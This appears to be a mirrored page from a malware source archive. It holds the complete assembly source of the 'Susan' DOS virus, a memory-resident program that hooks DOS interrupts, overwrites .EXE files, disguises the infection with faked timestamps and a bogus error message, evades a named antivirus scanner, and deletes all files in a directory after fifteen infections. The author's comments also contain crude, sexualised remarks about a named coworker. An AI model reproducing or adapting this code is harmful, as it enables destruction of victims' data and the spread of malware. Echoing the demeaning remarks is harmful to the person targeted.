mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 18:06:10 +00:00
389 lines
12 KiB
NASM
389 lines
12 KiB
NASM
Susan virus: included in Crypt Newsletter 13
|
|
|
|
COMMENT *
|
|
|
|
Susan Virus, Strain A
|
|
Written by NB
|
|
|
|
This program needs to be assembled with Turbo Assembler.
|
|
Special thanks go to Richard S. Sadowsky of TurboPower Software
|
|
for the help on using INT 2F with those majick functions!
|
|
|
|
This is an example of an interesting technique for writing a virus
|
|
that is terminate-and-stay-resident.
|
|
|
|
Description:
|
|
|
|
Susan is a file overwrite virus. Named for a woman in my department
|
|
who is overly concerned about virii, but has no idea about what the
|
|
fuck they actually are. She also has real nice tits. This is a TSR
|
|
that only infects .EXE files. Each time the user types "DIR", the
|
|
first .EXE file found is infected. After 15 such infections, then
|
|
each time DIR is typed, all files are erased in that directory.
|
|
|
|
Infected .EXEs are destroyed and will not run. Attempts to run them
|
|
will display the message "Bad command or file name" message.
|
|
|
|
Interesting Features:
|
|
|
|
- File size and date-stamp of infected file is maintained.
|
|
|
|
- Uses Vienna Virus technique of using the file time to determine
|
|
if a target file is infected.
|
|
|
|
- Infects and zaps everytime the user types a plain DIR command.
|
|
|
|
- Hooks INT 2F for handling the DIR command.
|
|
|
|
- Hooks INT 2F AX=010F (PRINT.COM int) to determine if the virus in
|
|
installed in memory.
|
|
|
|
- Writes the bug directly from memory.
|
|
*
|
|
|
|
.model small
|
|
.code
|
|
|
|
LOCALS @@
|
|
|
|
ORG 100h ; for COM file
|
|
|
|
DTA STRUC ; used for file searching
|
|
dtaReserved db 21 dup (0)
|
|
dtaAttrib db 0
|
|
dtaTime dw 0
|
|
dtaDate dw 0
|
|
dtaSize dd 0
|
|
dtaName db 13 dup (0)
|
|
DTA ENDS
|
|
|
|
DPL STRUC ; DOS Parameter List used for undoc funcs
|
|
dplAX DW 0
|
|
dplBX DW 0
|
|
dplCX DW 0
|
|
dplDX DW 0
|
|
dplSI DW 0
|
|
dplDI DW 0
|
|
dplDS DW 0
|
|
dplES DW 0
|
|
dplCID DW 0 ; computer ID (0 = current system)
|
|
dplPID DW 0 ; process ID (PSP on specified computer)
|
|
DPL ENDS
|
|
|
|
Pointer STRUC ; nice structure for a pointer type
|
|
Ofst DW 0
|
|
Segm DW 0
|
|
Pointer ENDS
|
|
|
|
Start:
|
|
JMP Initialize
|
|
|
|
OurCommandLen EQU 3
|
|
PathOfs EQU 80h ; Use command tail of PSP as path buffer
|
|
FuckMeNow EQU 16
|
|
|
|
virSig dw 'uS' ; Don't delete this line...
|
|
virName db 'san' ; ...this is the Susan Virus!
|
|
EofMarker db 26
|
|
OldInt2F Pointer <>
|
|
FNameLen db 3
|
|
FileName db '*.*', 0
|
|
DeleteDPL DPL <>
|
|
FuckCount db 0
|
|
SaveDTA Pointer <>
|
|
TargetMask db '*.EXE', 0
|
|
Victim DTA <>
|
|
OurCmd db 'DIR', 0Dh
|
|
|
|
IsInfected:
|
|
; This will detect if the .exe is already infected. We are using
|
|
; a nifty technique pulled from the Vienna Virus. If the file's
|
|
; seconds is 62, then that file is infected.
|
|
MOV AX, Victim.dtaTime
|
|
AND AX, 1Fh
|
|
CMP AX, 1Fh ; >60 seconds
|
|
; JZ infected
|
|
; JNZ not infected
|
|
RET
|
|
|
|
SearchExec:
|
|
; Returns AX = 1 if a uninfected file found
|
|
XOR CX,CX ; Search for an .EXE file
|
|
MOV DX,OFFSET TargetMask ; DS has seg
|
|
MOV AH, 4Eh
|
|
INT 21h
|
|
JC @@AlreadyInfected ; No .exes in this directory
|
|
|
|
CALL IsInfected ; Is this file infected?
|
|
JNZ @@NotInfectedYET
|
|
|
|
; Need to look for next file (maybe next version, haha)
|
|
|
|
@@AlreadyInfected:
|
|
XOR AX, AX ; Zeros out AX
|
|
RET
|
|
@@NotInfectedYET:
|
|
MOV AX, 1 ; Return a <> Zero indicator: Boolean
|
|
RET
|
|
|
|
CopySelf:
|
|
MOV DX, OFFSET Victim.dtaName ; Open file for read/write
|
|
|
|
MOV AX, 4301h
|
|
MOV CX, 0 ; Clear all attributes to NORMAL
|
|
INT 21h
|
|
|
|
MOV AH, 3Dh ; Now open up the file... Don't worry now about nets
|
|
MOV AL, 2 ; read/write access
|
|
int 21h
|
|
MOV BX, AX
|
|
|
|
PUSH CS ; Write the virus to the start of the open file
|
|
POP DS
|
|
MOV DX,OFFSET Start ; Start of virus
|
|
MOV CX,1 + OFFSET EndOBug - OFFSET Start ; total size of virus
|
|
MOV AH,40h
|
|
NOP ; WOW! this NOP will suppresses McAfees' scan from
|
|
INT 21h ; thinking this is a VR [FR] virus!
|
|
|
|
MOV DX, Victim.dtaDate
|
|
MOV CX, Victim.dtaTime ; We gotta fix up the file's datestamp
|
|
MOV AX, 5701h
|
|
OR CX, 001Fh ; And set the time to 62 seconds!
|
|
INT 21h ; ala Vienna Virus
|
|
|
|
MOV AH, 3Eh ; Close up the file - we're done
|
|
INT 21h
|
|
|
|
RET
|
|
|
|
Manipulate:
|
|
PUSH AX ; Uh...Save registers?
|
|
PUSH DX
|
|
PUSH SI
|
|
PUSH DI
|
|
PUSH DS
|
|
PUSH ES
|
|
|
|
MOV SI,CS ; get Canonical pathname
|
|
MOV ES,SI
|
|
MOV DS,SI
|
|
|
|
CMP FuckCount, FuckMeNow ; Do we start the deletes or just infect?
|
|
JL @@InfectCity
|
|
|
|
MOV DI,PathOfs
|
|
MOV SI,OFFSET FileName ; Mask to delete
|
|
MOV AH,60h
|
|
INT 21h
|
|
|
|
MOV SI,OFFSET DeleteDPL ; Build DOS Parameter List
|
|
MOV [SI].dplAX,4100h
|
|
MOV AX,CS
|
|
MOV [SI].dplDS,AX
|
|
MOV [SI].dplDX,PathOfs
|
|
MOV [SI].dplES,0
|
|
MOV [SI].dplCID,0
|
|
MOV [SI].dplPID,AX
|
|
|
|
MOV DS,AX ; Make DOS Server Function Call
|
|
MOV DX,SI
|
|
MOV AX,5D00h
|
|
INT 21h
|
|
|
|
; Infect more here...
|
|
@@InfectCity:
|
|
MOV AH, 2FH ; get the current DTA address
|
|
INT 21h
|
|
MOV AX,ES
|
|
MOV SaveDTA.Segm, AX ; Save it
|
|
MOV SaveDTA.Ofst, BX
|
|
|
|
MOV DX, OFFSET victim ; Set DTA to this glob of memory
|
|
MOV AH, 1Ah
|
|
INT 21h
|
|
|
|
CALL SearchExec
|
|
CMP AX, 0
|
|
JZ @@InfectNot
|
|
|
|
CALL CopySelf
|
|
INC FuckCount ; Track the time until eating files...
|
|
|
|
PUSH DS ; Restore the DTA
|
|
MOV AX, SaveDTA.Segm
|
|
MOV DS, AX
|
|
MOV DX, SaveDTA.Ofst
|
|
MOV AH, 1Ah
|
|
INT 21h
|
|
POP DS
|
|
|
|
; And return to the way it was...
|
|
@@InfectNot:
|
|
POP ES
|
|
POP DS
|
|
POP DI
|
|
POP SI
|
|
POP DX
|
|
POP AX
|
|
|
|
; If you want the DOS command to not execute, then you just need to uncomment
|
|
; out the next line:
|
|
|
|
; MOV BYTE PTR [SI],0 ; clear out the command string
|
|
|
|
RET
|
|
|
|
; convert pascal style string in DS:SI to uppercase
|
|
UpperCaseSt:
|
|
PUSH CX
|
|
PUSH SI
|
|
XOR CX,CX
|
|
MOV CL,BYTE PTR [SI]
|
|
@@UpcaseCh: ; Oh well, not too hard...
|
|
INC SI
|
|
CMP BYTE PTR [SI],'a'
|
|
JB @@NotLower
|
|
CMP BYTE PTR [SI],'z'
|
|
JA @@NotLower
|
|
SUB BYTE PTR [SI],'a' - 'A'
|
|
@@NotLower:
|
|
LOOP @@UpcaseCh
|
|
POP SI
|
|
POP CX
|
|
RET
|
|
|
|
; zf set if match, zf not set if no match
|
|
IsMatch:
|
|
; NOTE: ds:bx has command line
|
|
; ofs 0 has max length of command line
|
|
; ofs 1 has count of bytes to follow command line text,
|
|
; terminated with 0Dh
|
|
PUSH CX
|
|
PUSH SI
|
|
PUSH DI
|
|
PUSH ES
|
|
MOV SI,BX
|
|
INC SI
|
|
CALL UpperCaseSt
|
|
INC SI
|
|
MOV CX,CS
|
|
MOV ES,CX
|
|
MOV DI,OFFSET OurCmd
|
|
MOV CX,OurCommandLen + 1
|
|
CLD
|
|
REPE CMPSB
|
|
POP ES
|
|
POP DI
|
|
POP SI
|
|
POP CX
|
|
RET
|
|
|
|
IsMatch2:
|
|
PUSH CX
|
|
PUSH SI
|
|
PUSH DI
|
|
PUSH ES
|
|
XOR CX,CX
|
|
MOV CL,BYTE PTR [SI]
|
|
INC SI
|
|
CMP CL,OurCommandLen
|
|
JNZ @@NotOurs
|
|
MOV DI,CS
|
|
MOV ES,DI
|
|
MOV DI,OFFSET OurCmd
|
|
CLD
|
|
REPE CMPSB
|
|
@@NotOurs:
|
|
POP ES
|
|
POP DI
|
|
POP SI
|
|
POP CX
|
|
RET
|
|
|
|
Int2FHandler:
|
|
CMP AX, 010Fh ; Am I installed?
|
|
JNZ CheckCmd
|
|
MOV AX, virSig
|
|
IRET
|
|
CheckCmd:
|
|
CMP AH,0AEh ; a nifty-c00l majick function
|
|
JNE @@ChainInt2F
|
|
CMP AL,0
|
|
JE @@CheckCommand
|
|
CMP AL,1
|
|
JE @@ExecuteCommand
|
|
@@ChainInt2F:
|
|
JMP DWORD PTR CS:[OldInt2F]
|
|
|
|
@@CheckCommand: ; Dos is checking if we are a valid command
|
|
CMP DX,0FFFFh
|
|
JNE @@ChainInt2F
|
|
CALL IsMatch
|
|
JNZ @@ChainInt2F
|
|
MOV AL,0FFh
|
|
IRET
|
|
|
|
@@ExecuteCommand: ; Dos says "yup! - Execute it!"
|
|
CMP DX,0FFFFh
|
|
JNE @@ChainInt2F
|
|
CALL IsMatch2
|
|
JNZ @@ChainInt2F
|
|
CALL Manipulate
|
|
IRET
|
|
|
|
Initialize:
|
|
MOV FuckCount, 0 ; Clear it since we may have written junk
|
|
|
|
MOV DX,OFFSET InstallMsg
|
|
MOV AH,09h
|
|
INT 21h
|
|
|
|
MOV AH,30h ; Check DOS version >= 3.3
|
|
INT 21h
|
|
XCHG AH,AL
|
|
CMP AX,0303h
|
|
JB @@InstallBad
|
|
|
|
; NOTE: This checks to see if we are already installed in memory.
|
|
; Basically, we have added a new subfunction to the PRINT funcs
|
|
; which returns my initials if installed.
|
|
MOV AX, 010Fh ; Check if we are installed
|
|
INT 2Fh
|
|
CMP AX, virSig
|
|
JZ @@InstallBad
|
|
|
|
MOV AX,352Fh ; Lets get and save int 2F
|
|
INT 21h
|
|
MOV OldInt2F.Ofst,BX
|
|
MOV OldInt2F.Segm,ES
|
|
MOV DX,OFFSET Int2FHandler ; And set it to ours
|
|
MOV AX,252Fh
|
|
INT 21h
|
|
MOV SI,2Ch
|
|
MOV AX,[SI] ; get segment of env's memory
|
|
MOV ES,AX
|
|
MOV AH,49h ; release environment block's memory
|
|
INT 21h
|
|
|
|
; NOTE: Normally, we would have something like OFFSET INITIALIZE but
|
|
; since we want to write the code from memory to disk, we have to
|
|
; keep the whole thing in memory.
|
|
MOV DX,OFFSET EndOBug
|
|
ADD DX,15
|
|
MOV CL,4
|
|
SHR DX,CL
|
|
MOV AX,3100h
|
|
INT 21h ; Terminate and stay resident!
|
|
|
|
@@InstallBad:
|
|
MOV AX,4C00h ; Just quit with no message - no sense telling what
|
|
INT 21h ; may have occured...
|
|
|
|
InstallMsg:
|
|
db 'Bad command or file name', 0Dh, 0Ah
|
|
EndOBug db '$' ; Very important (tho lame) - Do not remove!
|
|
|
|
_TEXT ENDS
|
|
END Start
|